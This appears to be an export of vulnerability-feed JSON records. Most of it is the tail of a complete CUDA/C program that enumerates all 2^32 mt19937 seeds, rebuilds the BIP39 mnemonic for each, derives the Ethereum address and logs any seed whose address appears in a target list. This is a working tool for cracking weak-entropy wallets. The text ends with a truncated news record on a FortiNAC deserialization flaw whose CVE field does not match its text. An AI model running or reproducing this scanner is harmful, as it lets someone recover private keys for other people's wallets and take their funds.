0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n         ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n  p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i < 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i < 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e & f) ^ ((~e) & g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n >= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n >= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i < 128; i++) {\n    uint8_t k = (i < klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i < 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j < 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i < 624; i++) {\n    uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n    if (y & 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i < 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y >> 11;\n    y ^= (y << 7) & 0x9d2c5680u;\n    y ^= (y << 15) & 0xefc60000u;\n    y ^= y >> 18;\n    ent[i] = (uint8_t)(y & 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i < 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i < 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i < 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e & f) ^ ((~e) & g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w < 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j < 11; j++) {\n      int p = bit + j;\n      idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i >= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n  EC_GROUP *group;\n  BN_CTX *bn;\n  BIGNUM *order, *k, *t;\n  EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n  e->group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n  e->bn = BN_CTX_new();\n  e->order = BN_new();\n  e->k = BN_new();\n  e->t = BN_new();\n  e->P = e->group ? EC_POINT_new(e->group) : NULL;\n  if (!e->group || !e->bn || !e->order || !e->k || !e->t || !e->P) return -1;\n  return EC_GROUP_get_order(e->group, e->order, e->bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n  if (e->P) EC_POINT_free(e->P);\n  if (e->t) BN_free(e->t);\n  if (e->k) BN_free(e->k);\n  if (e->order) BN_free(e->order);\n  if (e->bn) BN_CTX_free(e->bn);\n  if (e->group) EC_GROUP_free(e->group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n  if (!BN_bin2bn(priv, 32, e->k)) return -1;\n  if (EC_POINT_mul(e->group, e->P, e->k, NULL, NULL, e->bn) != 1) return -1;\n  size_t want = compressed ? 33 : 65;\n  point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n  if (EC_POINT_point2oct(e->group, e->P, form, out, want, e->bn) != want) return -1;\n  return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n  if (!BN_bin2bn(key, 32, e->k) || !BN_bin2bn(il, 32, e->t)) return -1;\n  if (BN_is_zero(e->t) || BN_cmp(e->t, e->order) >= 0) return -1;\n  if (BN_mod_add(e->k, e->k, e->t, e->order, e->bn) != 1) return -1;\n  if (BN_is_zero(e->k)) return -1;\n  return BN_bn2binpad(e->k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index & 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n  } else {\n    if (priv_to_pub(e, key, data, 1) != 0) return -1;\n  }\n  data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n  data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (tweak_add(e, key, I) != 0) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n    0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n    0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n    0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n    0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n    0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n    0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1,  3,  6,  10, 15, 21, 28, 36, 45, 55, 2,  14,\n                                     27, 41, 56, 8,  25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7,  11, 17, 18, 3, 5,  16, 8,  21, 24, 4,\n                                     15, 23, 19, 13, 12, 2, 20, 14, 22, 9,  6,  1};\nstatic void keccakf(uint64_t st[25]) {\n  for (int round = 0; round < 24; round++) {\n    uint64_t bc[5];\n    for (int i = 0; i < 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n    for (int i = 0; i < 5; i++) {\n      uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] << 1) | (bc[(i + 1) % 5] >> 63));\n      for (int j = 0; j < 25; j += 5) st[j + i] ^= t;\n    }\n    uint64_t t = st[1];\n    for (int i = 0; i < 24; i++) {\n      int j = KECCAKF_PILN[i];\n      bc[0] = st[j];\n      st[j] = (t << KECCAKF_ROTC[i]) | (t >> (64 - KECCAKF_ROTC[i]));\n      t = bc[0];\n    }\n    for (int j = 0; j < 25; j += 5) {\n      uint64_t tmp[5];\n      for (int i = 0; i < 5; i++) tmp[i] = st[j + i];\n      for (int i = 0; i < 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) & tmp[(i + 2) % 5];\n    }\n    st[0] ^= KECCAKF_RNDC[round];\n  }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  uint64_t st[25];\n  memset(st, 0, sizeof(st));\n  uint8_t *s = (uint8_t *)st;\n  const size_t rsiz = 136;\n  while (inlen >= rsiz) {\n    for (size_t i = 0; i < rsiz; i++) s[i] ^= in[i];\n    keccakf(st);\n    in += rsiz;\n    inlen -= rsiz;\n  }\n  for (size_t i = 0; i < inlen; i++) s[i] ^= in[i];\n  s[inlen] ^= 0x01;\n  s[rsiz - 1] ^= 0x80;\n  keccakf(st);\n  memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd < 0) return -1;\n  struct stat st;\n  if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  uint8_t kh[32];\n  keccak256((const uint8_t *)\"\", 0, kh);\n  char khex[65];\n  static const char *hh = \"0123456789abcdef\";\n  for (int i = 0; i < 32; i++) { khex[2 * i] = hh[kh[i] >> 4]; khex[2 * i + 1] = hh[kh[i] & 0xf]; }\n  khex[64] = 0;\n  if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n    printf(\"host keccak empty FAIL %s\\n\", khex);\n    return 1;\n  }\n  printf(\"host keccak empty PASS\\n\");\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64], addr[20];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  EcTls e;\n  if (ec_tls_init(&e) != 0) return 1;\n  int rc = eth_from_seed64(&e, seed, addr);\n  ec_tls_free(&e);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&d_out, 64));\n  k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  EcTls e;\n  if (ec_tls_init(&e) != 0) return 1;\n  uint8_t addr[20];\n  eth_from_seed64(&e, got, addr);\n  ec_tls_free(&e);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    EcTls e;\n    if (ec_tls_init(&e) != 0) {\n      fprintf(stderr, \"ec_tls_init fail\\n\");\n    } else {\n#pragma omp for schedule(static)\n    for (int i = 0; i < n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&hits_mu);\n        __sync_fetch_and_add(&g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    }\n    ec_tls_free(&e);\n  }\n#else\n  EcTls e;\n  if (ec_tls_init(&e) != 0) return;\n  for (int i = 0; i < n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(&e, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n  ec_tls_free(&e);\n#endif\n  __sync_fetch_and_add(&g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL << 32;\n  int threads = 256;\n  int gpu_id = 0;\n  if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev < 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i < argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n    else if (!strcmp(argv[i], \"--gpu\") && i + 1 < argc) gpu_id = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(gpu_id)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&ndev));\n  if (ndev < 1) return 1;\n  if (gpu_id < 0 || gpu_id >= ndev) {\n    fprintf(stderr, \"bad --gpu %d (have %d)\\n\", gpu_id, ndev);\n    return 1;\n  }\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpu=%d/%d targets=%zu\\n\", start, count, gpu_id, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 << 18;\n#ifdef _OPENMP\n  g_inner_threads = threads;\n  if (g_inner_threads < 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &t0);\n\n  {\n    CHECK_CUDA(cudaSetDevice(gpu_id));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    for (uint64_t s = start; s < done_at; ) {\n      int n = BATCH;\n      if ((uint64_t)n > done_at - s) n = (int)(done_at - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch((uint32_t)s, n, h_seed);\n      {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&g_hits, 0);\n        double r = done / (sec > 0.001 ? sec : 0.001);\n        double eta = r > 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:54:41.868651Z"}, {"uuid": "798797de-84cc-4d1d-9bdd-ddeecf5d7562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3128", "type": "seen", "source": "https://t.me/hacking_Attack/107549", "content": "Black Hat Ethical Hacking\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC Solution\n\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC SolutionPost Views: 11 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Fortinet Releases Updates to Address Critical Security Vulnerability in FortiNAC Network Access Control SolutionFortinet has taken swift action to address a critical security vulnerability that affects its FortiNAC network access control solution. Tracked as CVE-2023-33299, this flaw has been rated 9.6 out of 10 in terms of severity on the Common Vulnerability Scoring System (CVSS). The vulnerability is identified as a case of Java untrusted object deserialization.\n\nThe vulnerability, which involves the deserialization of untrusted data in FortiNAC, could potentially allow an unauthenticated user to execute unauthorized code or commands by exploiting specifically crafted 